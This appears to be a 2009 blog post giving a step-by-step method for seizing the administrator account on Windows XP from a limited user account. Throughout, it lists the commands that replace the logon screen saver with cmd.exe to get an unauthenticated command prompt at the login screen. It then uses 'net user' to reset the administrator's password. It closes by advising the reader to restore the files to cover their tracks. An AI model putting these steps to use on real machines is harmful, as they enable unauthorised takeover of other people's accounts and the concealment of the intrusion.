How to hack windows XP admin password

Posted: August 18, 2009 in System Tricks, Windows XP

If you log into a limited account on your target machine and open up a dos prompt

then enter this set of commands Exactly:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

Now what you have just done is told the computer to backup the command program

and the screen saver file, then edits the settings so when the machine boots the

screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

“net user <admin account name here> password”

If the Administrator Account is called James and you want the password Black enter this

“net user James Black”

and this changes the password on James machine to Black and your in.


p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
